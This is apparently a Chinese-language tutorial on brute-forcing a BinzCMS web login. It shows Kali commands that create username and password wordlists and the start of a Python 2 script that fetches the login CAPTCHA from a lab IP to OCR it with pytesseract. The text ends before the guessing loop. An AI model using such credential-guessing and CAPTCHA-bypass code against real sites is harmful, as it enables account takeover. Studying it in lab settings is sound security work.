python—模拟用户正常登录系统,破解用户名与登录密码
一、环境搭建
1、本机新建用户名与密码文件
root@kali:~/python/laowangpy/function# touch username.txt
root@kali:~/python/laowangpy/function# touch password.txt
root@kali:~/python/laowangpy/function# ls
username.txt password.txt
root@kali:~/python/laowangpy/function# vi username.txt
root@kali:~/python/laowangpy/function# vi password.txt
root@kali:~/python/laowangpy/function# cat username.txt
xwb
xudada
xwb
seeker
root@kali:~/python/laowangpy/function# cat password.txt
qwe123456
asd123456
173605852
root@kali:~/python/laowangpy/function#
2、测试环境
3、python源代码:
root@kali:~/python/laowangpy/function# cat postloginbinzcmsautobraekuseerpd.py
#!/usr/bin/python
# --*-- coding:utf-8 --*--
import string
import urllib
import urllib2
import Image
from pytesseract import *
import time
usernamelistdata = []#存储读取目录下username.txt所有用户名信
passwordlistdata = []#存储读取目录下password.txt所有登录密码信息
def getpicyanzhengma():#请求服务器的验证码,并保存pic.png图片格式,与服务器互动
urlget = "http://192.168.40.239/binzcms1/index.php"
ctl = {
"ctl":"code"}
ctldata = urllib.urlencode(ctl)
reqget = urllib2.Request(urlget+'?'+ctldata)#构造get请求与参数
#添加get请求的头信息
reqget.add_header("Host","192.168.40.239")
reqget.add_header("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0")
reqget.add_header("Accept","image/png,image/*;q=0.8,*/*;q=0.5")